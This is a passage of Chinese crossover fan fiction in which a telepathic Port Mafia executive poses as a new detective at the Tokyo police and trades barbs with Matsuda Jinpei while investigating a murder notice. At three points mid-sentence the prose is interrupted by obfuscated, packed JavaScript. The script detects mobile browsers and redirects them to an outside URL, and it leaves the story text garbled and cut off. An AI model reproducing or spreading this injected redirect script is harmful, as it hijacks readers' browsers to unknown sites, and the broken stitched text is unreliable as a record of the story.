公安警察紫灰色的眸色在夜色中极为明显,他面无表情,有些冷冰冰地问了一句:“这次的行动,你瞒了我什么。” - “体检?”没想到大晚上地被叫过来会听到这种事,中原中也对于森鸥外的话第一个发出了疑问。 “是爱丽丝的主意吧。”尾崎红叶抿了口茶,熟练地接话道。 “没办法。”森鸥外双手交叉,无奈叹气,“我没有办法拒绝可爱的爱丽丝酱的请求嘛。” 首领室的门在这时被敲响两声,雾岛光希推开门的一瞬间,所有人不约而同地都安静了下来。 中原中也:“……不是开会吗。” 雾岛光希走进门,松手时背后的大门自动合上:“嗯。” 中原中也:“……那你穿着睡衣做什么。” 雾岛光希低头瞄了眼:“来之前首领和我说了是体检的事,让我不用太在意穿着。” “而且。”雾岛光希板了张脸,“中也,这不是睡衣。” “……” “是不出任务可以穿的休闲装。” 虽然在外面套了一件黑色的长款风衣,但作为内搭的深蓝色真丝上衣垂感很好,由于一看就很贵,所以大概率不是雾岛光希自己买的。 “……” 房间里的几个人对视一眼。 【绝对是森先生买的,然后骗他是什么休闲装吧。森先生又开始以公谋私,满足他自己的恶趣味了】 【说是什么日本文化之类的,总之一开口雾岛就信了,雾岛刚来日本的时候,不是还有人骗雾岛说日本人谈生意都是边泡澡边谈的吗】 【也有可能是雾岛觉得穿着舒服,以他这种躺下了就不想站起来的性格,只要穿着舒服,根本不会在意是什么衣服】 雾岛光希的头顶冒出个问号。 他再次低头看了眼自己的穿着。 没错啊,他和斯库瓦罗小时候在家里都是这么穿的,又不像睡衣,还很宽松,之前太宰躲在棕熊玩偶里满大楼追着中也跑的时候他们怎么没人有意见。 他们连玩偶服都不在意,这么在意他穿什么干什么。 【话说他过来的路上,就没有别人看到吗】 【从雾岛那一层的宿舍,到这边有专用电梯。以他刚刚回消息的速度,估计是坐的专用电梯……等等,老大和雾岛的关系有亲近到送雾岛这种衣服的地步?】 【中也这个表情是怎么回事,哇,看来和Q君一样,脑容量为零的蛞蝓也不能留了】 就算是假的雾岛光希也听不下去。 他张唇,忍无可忍地回了一句:“是我自己买的。请不要质疑我的品味。” 几个人再次对视一眼。 太宰治:“我可没有质疑过。” 中原中也:“啊,那个,看着还挺舒服的。” 尾崎红叶:“妾身以为你的那位新副官把你出行需要的衣服都买好了?” 雾岛光希:“上次陪首领逛街,首领建议我不要总穿黑色。” “……” 几个人第三次对视一眼。 【完全就是被鸥外大人骗了啊】 【没有人在意这两个不该私自行动的人相约去逛街的事吗】 【所以森先生才是最不能留的】 【雾岛的脑子里果然除了工作和睡觉就没有别的东西,他到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“光希。”尾崎红叶悠闲地抿了口茶,“你要是在其他地方也这么敏锐就好了。” 【虽然他知道了也没什么用,以他的性格,难道还能把人抛弃了不成?】 “麻烦了啊……” 太宰治叹息一声。 “让这种东西流入市场,过不了多久,我们的生意可就没法做了。” 【但能研究出这种东西,背后的团体想必也是个庞然大物。港口黑手党刚刚从魏尔伦的事件里脱身,在抚恤金和重建方面花了一大笔钱,不适合贸然在明面上展开行动】 听着太宰治的心声,雾岛光希稍微感到些讶异。他还以为太宰一听这种麻烦事就会丧失干劲,结果已经想了这么多吗。 欣慰.gif “毕竟是对普通人也有害的东西。”森鸥外若有所思,“种田阁下的意思是借用警方的名义,当然,如果这次合作顺利,我们也能从内务省那边拿到些好处。” 雾岛光希的太阳穴突突地跳:“警方那边的线人,一直是公关官在对接。” 森鸥外歪了下脑袋:“如果公关官能在明天醒来,交给他也可以。但我记得,先代时期,和公关官一起培养警方那边的线人的,还有光希君你吧。” 雾岛光希面无表情,但急得冒出了好多字:“……从六年前开始,那位线人就有一见到我就会晕倒的毛病。我可以借用公关官的名义,联络那位线人,然后再让其他人去对接。” “卧底这种东西呢,就算拿一些事情威胁他们,也很难信任第一次见到的人。” 森鸥外慢悠悠地陈述了事实。 “再说了,光希君。作为干部,你不能一直逃避需要和外人交涉的任务。” “能以不同的身份见到以前的朋友,我还以为你会高兴呢。” “……” 雾岛光希高兴不起来。 他一不觉得松田阵平和自己是朋友,二松田阵平是专业拆弹的,和他喜欢搞爆/炸的兴趣截然相反。 他装一个,松田阵平拆一个,他装两个,松田阵平拆完两个还要得意地说这种东西他三分钟就能解决—— 这不是明晃晃的八字不合吗。 森先生到底哪里觉得他会高兴了。 10. 第 10 章 因为之前易容用的道具差不多消耗完了,听森鸥外交代完事情后,雾岛光希又和尾崎红叶他们聊了会天,再出门时已经是晚上十一点。 黑夜是黑手党的地盘。街道上来往的人群欢声笑语,受到庇护的商铺也亮着灯。温凉的风将青年肩上的长发吹起一些,雾岛光希微微侧过脸,最后将目光落在停在路边的那辆黑色轿车上。 “你就打算一直站在对面和我说话了吗。”靠在车边的狱寺隼人开口,那双祖母绿的眼睛在霓虹灯下散发出别样的光泽。 雾岛光希阖眼,双手插在口袋里,很自然地走过去。 “首领让我招待你。” 雾岛光希在距离狱寺隼人旁边一米的地方靠着,他说话时没看向对方,反倒是抬眸以这个角度观赏了会港口黑手党的大楼。 话是这么说的,但雾岛光希根本没做。 毕竟以狱寺隼人那种根本不放心把自家首领交给别人保护的性格,大概没有那种让他招待的闲情逸致。 又省力了。 雾岛光希阖眼,心里的小人偷偷地笑了下。 狱寺隼人瞥了他一眼,目光最后落在他腰间随意系的结上。 【他在风衣里穿了什么,又开始穿着睡衣乱晃了吗】 雾岛光希心里的q版小人笑容消失。 都说了不是睡衣!狱寺隼人这没品味的家伙! “你大晚上的出来干什么。”狱寺隼人说。 雾岛光希:“买东西。” 狱寺隼人:“那种事情交给你的部下不就好了。” 话音刚落,狱寺隼人注意到拐角处的几个巡逻人员。他们似乎没料到这个时间点雾岛光希会出现在楼下,一时间愣在原地,根本连看也没看狱寺隼人一眼,出于尊重,恭敬地和雾岛光希行礼后,就一溜烟地跑走了。 雾岛光希仿佛习惯了这样的行为:“自己的事情自己做。” 【根本就是被讨厌了吧,他知道他那杀人不眨眼的名声都传到意大利来了吗】 虽然心里是这么想的,但狱寺隼人还是回了句:“随便你。” “……”雾岛光希下意识地想反驳自己没有被讨厌,但最后还是把这句话憋了回去。 一来讨厌他的人多是事实,二来听到的声音只能作为参考,又不一定是真的,万一说错了还要被嘲讽一通。 “你找我有什么事。”微妙地感到些不爽,雾岛光希眯起眼,总算侧过脸去,向旁边的狱寺隼人问话。 二十四岁的狱寺隼人已经不是十四岁时一点就炸的性格,作为那位教父的左右手,狱寺隼人早在几年前就成长为了沉稳可靠的真正的守护者。 他手上的饰品很多,每一件却都是用于战斗的武器,几枚不同的戒指戴在不同的手指上,红色的衬衣领口散开一些,要不是总摆着一副生人勿近的表情,光凭他那张帅气的脸蛋,完全是走在路上会被要联系方式的类型。 【……才和他说了几句话,他就嫌我烦?】 “只是来确认一些事。”狱寺隼人看向港口黑手党大楼的灯光道,“阿莱西奥,要不是十代目让我回去前和你打声招呼,我也不想以这种形式见你。” 时隔好多年,再次从狱寺隼人嘴里听到自己这个名字,雾岛光希一时间有些恍惚。 他甚至下意识地想去询问沢田纲吉的近况,但以他们现在的立场,去和作为守护者的狱寺隼人打探他们首领的消息,似乎是件很没有礼貌的事。 “那就这样吧。”雾岛光希直起身,朝商铺的方向走去,“我也是很忙的,替我向彭格列问好。” 狱寺隼人没再说话。一直到雾岛光希的背影消失,他才站直身子,没再靠在车后座的玻璃上。 引擎发动,黑色的轿车亮了灯,缓慢地在街上行驶。直到驶入较为繁华的地段,街灯才将坐在后座的人的侧脸映亮。 那是个有些奇怪的身影。 黑色的西装妥帖,肩上随意地搭着披风,金色的链条在灯光下呈现出不同的光泽,明明神色和五官都很温和,身上却散发出一股上位者的气息。 “我还以为会被光希发现。” 沢田纲吉轻笑,刚才看到光希过来的时候,莫名就有种不可以在脑子里想东西,不然会被光希发现的直觉。 “不过,要是我突然出现在这里,会给光希造成很大的麻烦吧。” 光是在横滨被拍到一个侧影,沢田纲吉就被已经reborn冷嘲热讽到了现在。 尽管十四岁就继承了世界上最古老的黑手党,但里世界很少有人知道有关沢田纲吉的资料。不被允许念出他的名字,更不被允许留下任何的影像资料,所有人提起沢田纲吉,称呼的不过是一声“彭格列”罢了。 狱寺隼人冷哼,嘴硬地回:“他早就把以前的事否定得一干二净了,又没必要顾虑他的心情。” 沢田纲吉笑笑。他看着街边的景物,就算已经离开了很远,依旧能看到港口黑手党那几栋高耸的大楼。 光希变高了,那件事后,也愿意和人说话了。 “别这么说。”沢田纲吉注视着那栋建筑道,“魏尔伦那件事传回来的时候,隼人,你不也很担心光希吗。” “光希和阿武不一样,你不直接说出来的话,他会以为你在和他生气。” 这话要是从山本武嘴里说出来,狱寺隼人或许还会在明知道正确的情况下反驳两句。但作为沢田纲吉的左右手,狱寺隼人沉默片刻,还是低声回了句“我知道了”。 不管别人怎么说,沢田纲吉始终认为,就算选择了不同的路,就算效忠的家族可能对立,朋友始终都是朋友。 “况且,我稍微也有点好奇……” 沢田纲吉低下眼,看着指间戒指上的图案。 “能让光希真心为之努力的地方,到底是个什么样的组织。” - 根据片山临死前招供的内容,药剂的流通指向东京的一个名叫[哥沃兄弟会]的组织。规模不大,大概率只是被背后某个集团推出来的挡箭牌,但如果要继续深挖下面的内容,就只能从对方的成员那下手。 “据我所知,这个组织是之前山口组的二当家出来后自己创办的。” 雾岛光希垂眼,边看着手上的报告,边听旁边的人汇报。 “这个二当家名叫高桥一,和日井集团的会长交往密切,这次也会参加日井集团分公司成立的庆祝仪式。不过,由于日井会长收到了杀人预告,所以到时候在场的可能还有几位警察,要是知道您也要去,我就先安排我这边的人执行这次任务了。” 鹤川正人冷汗涔涔。他六年前被安插进警视厅,现在已经升为了警视。尽管经历了港口黑手党更换首领的事,但鹤川正人一直与公关官保持着联络,不敢生出丝毫叛变的心思。 原因很简单。 早在他被派到这里以前,雾岛光希就已经用异能标记了他。自己会不会和气球一样爆/炸,完全就是这人一句话的事。 因此,当鹤川接到来电显示为“公关官”的电话,刚想热情地打个招呼,却听到一句冷冰冰的“是我”时,当场差点心跳骤停晕过去。 【为什么是这个瘟神啊!!港口黑手党他妈现在是没人了吗,这种小事也要雾岛他亲自过来】 【我靠我靠我靠,雾岛干部为什么不喝我泡的茶,难道是因为低于60℃雾岛干部就不喝了?早知道有今天,我就去买个恒温加热器】 被称为“瘟神”的雾岛光希一顿,他抬起眼,观察了一脸正色的鹤川一会,试图令自己看起来亲和一些。 “鹤川。”雾岛光希说,“你不坐吗。” 鹤川讪笑:“我坐太久了,站着松松筋,要不您先坐?” 【我又不是不想活了,雾岛干部还站着,我去坐下不是找死?】 雾岛光希:…… 雾岛光希:“我不用了。这里是警视厅,你可以不用顾虑我,随意行动。” 鹤川:“不不不,就算是警视厅,作为港口黑手党的成员,我也要凡事以您为重。” 【雾岛干部点我呢,是不是哪个叛徒临死前还想拉我下水了?不可能!绝对不可能!我是绝对不会上当的!】 雾岛光希面色平静,他试图和鹤川拉近关系的计划失败,外表看上去满不在乎的,实际上是根本没招了。 为什么说的他跟动不动就杀人的杀人狂一样,他上次见到鹤川还是三年前公关官说请他吃饭,顺路来找鹤川拿份资料的时候吧。 “您的手怎么了?”注意到雾岛光希手指关节处的红痕,鹤川抓住机会献殷勤道。 雾岛光希看了眼自己的手:“昨天处理了下藤原的事。警视厅的人应该也有参与,我以为你知情?” 鹤川当然知道,但他不知道和搜查一课的那几位发生冲突的会是雾岛光希本人。 他腿一软,差点就这么跪下来。 【我就知道,我就知道迟早会出事】 【搜查一课那几个人成天带着个小学生晃来晃去,那小鬼也是个瘟神!走哪死哪,搁我这演死亡笔记呢他】 雾岛光希听着鹤川的吐槽,心想那可不是普通的小学生。那是一个滑板滑得比车还快,有着高科技球鞋,脑袋比大多数大人还要聪明,疑似有琴酒做靠山的小学生。 雾岛光希昨天回去后还思索了会,要不要出于以前的合作关系和琴酒道一声恭喜。但转念一想,琴酒大概率不想让别人发现他和那个江户川的关系。 于是那时的雾岛光希盯着手机屏幕发了会呆,最后还是决定装作什么也不知道。 “负责日井这个案子的是目暮警部那个行动组?”雾岛光希合上资料,没再说多余的话。 但他想了想,为了避免鹤川和三年前一样在公关官面前因为自己晕过去,还是贴心地多叮嘱了几句。 “待会不要对我用敬语,也不用对我这么客气。” 鹤川点头如捣蒜。 雾岛光希:“。” 雾岛光希:“你听清楚了吗。” 鹤川:“听清楚了。” 见雾岛光希半信半疑地迈开脚步,鹤川蹭的一声蹿到门边,恭敬地替他拉开了门。 雾岛光希:“……” 鹤川正人:“……” “咳。”在雾岛光希的凝视下,鹤川犹豫着松手,他深吸一口气,挺直腰板,强撑着走在雾岛光希前面。 【不要这么客气,不要这么客气】 鹤川正人默念着这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267600|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句。 一直走到搜查一课的办公区,雾岛光希都听着他这么碎碎念。 “……”都和森先生说了他不来不来,鹤川这人六年前一看他就晕了,雾岛光希甚至都有些担心他待会会直接晕过去。 晕过去怎么办,不能怪到他头上吧? “目暮老弟,这就是我之前和你说的,可能要在你们这待一段时间的警官。” “哦哦,看着很年轻啊,刚从警校毕业吗?” 雾岛光希没理会目暮警部和鹤川之间的寒暄,他的目光扫过四周,出于本能地记下每一个摄像头的位置和可以躲藏的地点,最后视线落在一个凌乱的工位上。 台式的电脑停留在息屏画面,而笔记本电脑合着。几份用红笔标注的文件没有规律地散开,隐约可以从漏出来的一张照片上看到昨天那辆被他烧毁的车。 【不要这么客气,不要这么客气】 “已经毕业有一段时间了,之前也在别的科学习,在让他正式定岗前,我想让他在实践中锻炼一下。” “这位……” 【不要这么客气,不要这么客气,鹤川,这里可是警视厅,雾岛干部再怎么样也不会直接炸了你的】 “哦,对。”鹤川反应过来,“这位是雾岛……” 鹤川正人噤声,他感到雾岛干部的视线挪回来,暗道自己完了。和之前的剧本不一样,因为太紧张,他竟然想不起雾岛干部让自己记的假名。 “雾岛希。”雾岛光希点头,不是很在意地接上鹤川的话,“叫我雾岛就好。” “那就是雾岛警官。”目暮十三不明所以地看了眼脸色惨白的鹤川警视,和雾岛光希握了个手。 在他的印象里,这位职业组出身的警视向来是能说会道的,没见过他这么话少的时候。 “松田!”看到咬着三明治进门的松田阵平,目暮十三和对方打了个招呼,“昨天和你们说的新人来了,雾岛警官,如果对工作流程有什么不熟悉的,你可以问松田警官。” 【……雾岛?】 松田阵平抬手,捏住三明治的边缘,咬下一口。 又来了。那种莫名其妙的熟悉感。 面前转过来的青年有着张清秀的脸。他黑色的长发搭在肩上,眼睛是湖泊般的蓝色。 没有证据。 但松田阵平是个相信直觉的人,尤其是昨天才刚刚被耍过一次。 【先是和雾岛相像的人出现,现在又直接来了个和对方同名的家伙,都是巧合的可能性有多大?】 “带新人这种事交给佐藤不就好了。”松田阵平懒洋洋地,“还有,你的头发上有花瓣。” 雾岛光希垂眸,还没看清松田阵平说的是哪里,就感觉自己的某根头发被扯了一下。 “……” 【哦】 松田阵平心想。 【看来不是假发,难道和昨天那家伙是两个人?】 【死了死了死了死了,这世界上还有第二个敢揪雾岛干部头发的人吗——我死了我死了我死了,我死之前一定会拉这家伙下水的!】 鹤川的视线聚不了焦,心态爆炸:“有花瓣你直接说不行吗,你多少自来熟了点。” 松田阵平没有回话。他依旧盯着雾岛光希的脸,目光锐利,带了几分探究,似乎是在等待对方开口说话,以捕捉到某个可以证实自己猜想的证据。 “没关系。” 可遗憾的是,这个人开口时,声音和【日影光希】完全没有一点相似之处。 “我从鹤川警视那边听说了昨天的案子,据说嫌疑人和我一样是发型,松田警官怀疑我也是情有可原。” 早就料到了现在的局面,昨天彻夜染头的雾岛光希伸出手。 虽说被松田阵平发现自己以前的身份也没什么,但雾岛光希懒得解释那么一大堆,为了避免这家伙发现自己的头发是染的,雾岛光希觉得还是把头发要回来好。 松田阵平挑眉,说了声“抱歉”。 身高和背影几乎一模一样,而且就在松田阵平得出“这个人可能来自警察内部”的结论后,目暮警官突然说有个新人要来待段时间。 别人怎么想松田阵平不知道,反正他是觉得怎么看怎么可疑。 “你之前在哪个部门。” “警护课。” “放着那种好差事不干,跑到搜查一课来做什么。” 雾岛光希不以为意:“冒犯了需要保护的某位大人物,已经干不下去了。” 松田阵平嗤笑:【你这可不像干不下去的样子】 “差不多行了。”眼见鹤川警视的脸色越来越差,知道松田在怀疑什么的目暮十三打圆场道,“松田,雾岛警官昨天和鹤川警视在一起,难不成每来一个陌生面孔你都要学搜查二课找基德一样捏他的脸吗?” “……” “…………” 和快要裂开的鹤川正人不同,和雾岛光希对峙着的松田阵平倒是悠闲。 “怎么会。”松田阵平矢口否认。 话是这么说…… 曾经刚入学就和松田阵平打过架的雾岛光希沉默,下意识地瞥了拉开椅子的后者一眼。 松田这家伙,他一定会干的。 11. 第 11 章 这件事最后在鹤川死到临头爆发出的一声咆哮中中止。 雾岛光希决定离松田阵平一米远。 这也就导致了明明是一个组的成员,雾岛光希和松田阵平之间却坐了一个正襟危坐的高木涉。高木涉左看看,右看看,被这两人之间的低气压弄得后背笔直,别说吃饭了,根本连水都喝不下。 松田阵平漫不经心:“据我所知,警护课里得罪了大人物的存在可不应该被调到搜查一课。” 试图扮演出个和以前截然不同的角色,雾岛光希礼貌地多说了两句:“我又不是第一系和第二系的成员,只是在执行特别保护任务的机动队而已。” 【为什么,到底是为什么】 高木涉在内心里无助地碎碎念。 【明明聊的是正常话题,这两个人之前也没有见过面,难道是气场不合吗,为什么我会感到一种针锋相对的气氛】 “雾岛……雾岛……”相比之下,佐藤美和子捏着下巴,总觉得在哪听到过这个姓氏,“我怎么感觉高木和我提到过……” 高木涉一愣,突然反应过来,喃喃自语了一句:“这么说来,之前伊达警官和我说过,松田警官喜欢的人就姓雾岛来着。” 松田阵平一口咖啡还没咽下,瞬间喷了出来:“噗——” 雾岛光希皱眉,瞥了眼高木涉旁边不停咳嗽的松田阵平一眼。 “咳,咳咳咳,什么啊!班长到底和你说了什么乱七八糟的!” 高木涉挠了挠头:“好,好像也不是这么说的?那时候我和伊达前辈执行任务回来,伊达前辈刚好看到了街边电影的宣传片,然后就笑着说了声要是雾岛还在,大概和松田也会像电影里这样。” 雾岛光希松了口气。 佐藤美和子揶揄:“喔~爱情电影?” 雾岛光希又没气了。 “喂。”没注意到隔着一个人的雾岛光希的小动作,松田阵平眯起眼,没好气地回道,“你们根本连雾岛是谁都不知道吧。” 雾岛光希思索,想起自己的这个名字似乎也是个大众姓氏,说不定他们讲的是另一个雾岛呢。 “我知道我知道。”隔壁组的组员滑着凳子就加入了八卦,“以松田警官的品味,肯定是个腰细腿长的大美人,他看电影都看这一挂的。” 松田阵平半月眼:“这话你到隔壁警察厅说去。” “我干嘛到隔壁警察厅,我又不在……等等!”隔壁组的组员瞪大眼睛,反应过来,“是那个雾岛吗?” 由于职业需要,警察里留长发的人不同,留长发的男性更是少之又少。当初公安破格将【雾岛光】选入警察厅,不少人都在背后骂他娘娘腔之类的话。 可随着【雾岛光】和他们协同出任务的次数越来越多,时间一长,警察厅里也就没人再议论那位雾岛警官的发型。 “可惜了。”隔壁组的警官惋惜道,默默地把椅子滑回去,“松田,你可别去隔壁散播我说雾岛警官坏话的谣言,我还不想下次联合行动的时候被他们绊一跤。” 雾岛光希瞄了眼这个面生的警官,心想他考虑得还真多。警察厅里讨厌他的人也不计其数,之前公安那边的前辈还语重心长地扶额,问旁边正好过来有事的教官,说【“虽然我知道雾岛不是那个意思,但他这样在警校的时候,真的不会被套麻袋打一顿吗”】。 套麻袋倒没有。但入学的第一天,雾岛光希确实因为说话的艺术和降谷零还有松田打了一架。 不能表现出实力,先代的脾气比森先生差多了。 遵照先代的命令,雾岛光希边躲还得边思考怎么装作自己是个普通人。 他那天唇角淤青地回去,公关官眨了眨眼,问他难道是左脚绊右脚,磕到哪个台阶上,这才遭遇了不幸。 雾岛光希宁愿承认自己是左脚绊右脚,也不愿意承认自己是被松田阵平打的。 “嚯~”松田阵平嗤笑,“你刚刚不是还聊得很开心吗。” “我可没有啊,你别乱说。”隔壁组的警官双手环胸,板这张脸,“天地可鉴,我可是很尊重为了救人质而牺牲的雾岛警官的。” “牺牲?”高木涉怔了下,由于调到这里来的时间比较晚,显然不知道四年前的那件事。 “好像是有听前辈说过。”佐藤美和子观察了一下松田阵平的脸色,“本来那位雾岛警官已经不怎么出外勤了的,那天只是路过……” 【连尸体都没看到,那家伙才没死】 雾岛光希的手一顿,听到松田阵平的心声后,下意识地侧过脸看向不动声色地喝着咖啡的松田阵平。 “松田。”隔壁组的组员摇头晃脑,“你总不能因为人和雾岛警官一个姓氏,就针对人雾岛警官吧。你小学生吗。你说是吧,雾岛?” 这句话有点绕,雾岛光希反应了几秒,才注意到对方是在和自己说话。 他沉吟片刻,本想顺着这句话回句“嗯”,但松田阵平欠揍的声音又在脑子里响了起来。 【要是被我发现那家伙模仿福尔摩斯假死,我就要给那家伙脸上来上两拳】 当初为了省事,确实参考了福尔摩斯在莱辛巴赫瀑布假死的手法的雾岛光希:…… 要不先找个机会把松田阵平打死吧。 “不知道。”雾岛光希冷笑,回的话冷冰冰的,致力于让松田阵平在自己抓到高桥前离自己一米远,“我又不关心松田警官的想法。” 松田阵平嘲笑:“只敢躲在高木背后的人也好意思这么说?” 雾岛光希的手指不紧不慢地敲过键盘,听到这话头也不回:“我不是躲在高木警官背后。我只是得了一种病。” “什么病。” “靠近松田警官就会全身过敏,想把您的头发也扯下来的病。” “你现在怎么不过敏?” 雾岛光希面不改色,讲了个冷笑话:“因为我现在是个善良的警察。” 哈哈。 “……” 松田阵平无语,目光扫过周围憋笑的几人。 “哈哈哈——”由于和松田阵平没有搭档关系,隔壁组的警官率先捂着肚子笑出了声,“不行了,松田,原来你也有被怼得说不出话的一天。” - 日井集团的庆祝仪式定在两天后,为了保证出席活动的宾客的安全,日井会长这几天一直在配合警方加强现场的安保。 “[尊敬的日井阁下,当卡斯托尔与波鲁克斯重逢之日,我将背负天正十一年,不可解脱的幸存者之使命,取下您的首级]。”目暮十三拿着那封寄过来的[杀人预告],缓慢地念了一遍上面的字。 日井集团的人还在有条不紊地布置着现场,日井会长叹了口气,用抱怨似的口吻回道:“几天前在我的邮箱里发现的,我调取了别墅门口的监控,结果发现放信的那个人从头到脚都裹得严严实实,根本看不出脸。” 目暮警部:“方便给我们看一下那段录像吗?” “当然。”日井会长点头,对着等候在一边的秘书吩咐,“石下,把那份录像带拿出来。” 松田阵平抬头,看着天花板上的吊灯:“嫌疑人是走路过来的?” “那倒不是。”日井会长说,“他开了辆红色的车,但是没有车牌,我问了附近的邻居,说从来没看到过那辆车出现过。” 松田阵平皱眉,又问:“那辆车是什么型号?” 日井会长双手环胸,思考了一会:“保时捷911吧,因为我也有一辆,所以看到的第一眼就认出来了……不过细看好像和我的那辆又有点不同,说不出哪里奇怪。” 【果然】 松田阵平和目暮警部对视一眼,不约而同地想到了昨天光明正大地从警方眼皮底下逃脱的【日影光希】。 雾岛光希:…… 雾岛光希不知道这自己根本没做过的事为什么要安到自己头上。 这世界上开保时捷的人多了去了。松田阵平不能以后每看到一个开保时捷的犯人都觉得是他吧? “但这封预告函到底是什么意思。”佐藤美和子皱眉,对于预告函的部分内容还没有头绪。 “是古希腊神话哦。” 稚嫩的声音从身后不远处传来,雾岛光希回头,看到被毛利兰牵着的江户川柯南。 小朋友笑得甜甜的:“卡斯托尔与波鲁克斯是古希腊神话里的一对双胞胎兄弟,不过,波鲁克斯是宙斯之子,卡斯托尔却是凡人,在一次战斗里,卡斯托尔不幸被杀,于是波鲁克斯就向宙斯祈祷,让自己与卡斯托尔永远在一起。” “柯南!”佐藤美和子惊讶,没想到江户川柯南也会出现在这里。 松田阵平挑挑眉:“你还真是无处不在啊。” “嘿嘿。”江户川柯南摸了摸后脑勺,“是园子姐姐邀请我们过来的。” 铃木园子半月眼:“我明明只邀请了小兰,是你们这群小鬼头听说预告函的事,硬要跟着我过来的。” “我们也可以帮上忙的!”吉田步美立即发言道。 圆谷光彦:“是啊是啊!我们可是少年侦探团!对吧,灰原同学?” 和这几个小孩子表现得完全不一样,灰原哀倒是很冷静。她没有立即回话,目光在捕捉到看着自己的雾岛光希时微微睁大眼,随即心脏一缩,下意识地后退一步。 【这个感觉……】 【他是组织的成员?】 圆谷光彦疑惑:“灰原同学?” 注意到灰原哀的举动,江户川柯南随即也向雾岛光希看去。 【灰原只有在碰见组织的人时才会这样,但组织的人怎么会和目暮警官他们在一起?】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267601|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雾岛光希:…… 雾岛光希面无表情。 什么叫做【只有在碰见组织的人时才会这样】,这个叫灰原的小姑娘难道有琴酒雷达吗? 雾岛光希挑眉,倒不知道那个组织什么时候有这么多年幼的成员。 呵呵。 他下次万圣节cosplay琴酒,吓大家一跳。 “这个大哥哥是?” “是刚从警护课调过来的雾岛警官。”佐藤美和子撑着膝盖,微微弯腰,耐心地解答了江户川柯南的问题,“柯南,你刚刚说的那个神话是什么意思?” “是双子座的由来啦。”江户川柯南十分流畅地回答道,“双子座引申为数字,常常代表二的含义,所以[卡斯托尔与波鲁克斯重逢之日]指的就两天后日井会长举办宴会的时间。” “那[背负不可解脱的幸存者之使命]……” “是八吧。”松田阵平不紧不慢地回道,“天正十一年,丰臣秀吉麾下的[贱岳七本枪]非常有名。不过因为他们太有名了,其他牺牲的人的名字就被淡忘,后来就有了[幸存的第八位武士]的说法。” 佐藤美和子直起腰:“那就是两天后的八点……日井先生,您记得自己与谁结过仇吗?” “生意场上结仇的事多了去了。”日井会长叹息道,“要是知道谁有嫌疑,我也不用花大价钱雇一群人来保护我。” 雾岛光希注意到从刚才开始,会场里就有不同的工作人员在悄悄往这边看。他们穿着日井集团的工作服,走路时却保持着一只手不动,显然是随身带了枪。 “松田警官。”趁雾岛光希不注意,江户川柯南悄悄拉了拉松田阵平的衣角,示意他弯下腰来,“雾岛警官昨天在哪?” 松田阵平知道他想问什么,但为了报对方也不告诉自己“琴酒”是谁的仇,懒洋洋地说了句:“小孩子知道那么多干什么。” 江户川柯南的嘴角抽了抽:“……” 【呵呵,松田警官绝对是故意的】 “柯南。”听到松田阵平的话,毛利兰把江户川柯南抱起来,“不可以打扰他们工作哦。” 猝不及防地被抱在怀里,江户川柯南仰头,看到毛利兰担忧的神色,不可避免地耳朵一红。 【兰这个笨蛋】 雾岛光希:? 雾岛光希的目光从远处疑似被高桥一派来保护日井的人身上移开,他看看江户川柯南,又看看毛利兰,小小地“哇哦”了一声。 松田阵平:“你哇什么。” 雾岛光希:“您不也看出来了。” 松田阵平:“小孩子喜欢大姐姐有什么奇怪的。” 那位看上去是他的监护人,明显是不健康的行为。 虽然知道“懒得回话”很容易让松田阵平发现端倪,但雾岛光希真的没什么精力了。 他瞥了眼旁边的松田阵平,还记得对方以前骗诸伏景光帮他带某种碟片,结果诸伏景光以为那是旅游纪录片,很听话地去了DVD店,结果从限制级区红着脸出来的事。 降谷零为了替他的幼驯染报仇,那段时间可谓是微笑着狠狠报复了一顿松田阵平。 “话说回来。”雾岛光希侧过脸,“松田警官,您的注意力可以不要一直放在我身上吗。” “别自作多情了。”松田阵平双手插兜,鼻梁上架着昨天晚上新买的墨镜,“只是最近的温度还没有到穿高领的地步,你除了过敏还有怕冷的毛病?” 为了盖住脖子上的变声器,特地穿了件高领的雾岛光希:…… 受不了,又不是特别高的领子,松田阵平怎么连他同事穿什么都管。 “怎么。”闻言,雾岛光希笑起来,他的声音温温柔柔的,说的话却跟剪刀似的,“扯我头发还不够,现在还关心起我的穿着了,这看起来就像……” 【爱情的气息】 本来是想说[像仇人一样]。雾岛光希沉默,他转过头,看向角落里眼神闪闪发亮的女生。 如果没记错的话,这就是一天前,给雾岛光希灌输了很多听也没听过的词,名叫雪代的那位案发现场第一发现人。 【过去的cp已成历史,日影先生的脸略逊一筹,毒舌前辈x冷淡后辈的设定才是最好磕的!】 松田阵平:“就像?” “……不像了。”雾岛光希默默收回视线,声音幽幽地,“东京真是个充满未知和危险的地方。” 松田阵平盯着他的脸看了会,从这个角度,甚至能看到雾岛光希睫毛微微上翘的弧度。 “雾岛。” “嗯。” “你把你自己气疯了?” “。” 雾岛光希隐忍地闭上眼。 如果好感度能具现化,那么他现在对松田阵平的好感绝对是负一百。 12. 第 12 章 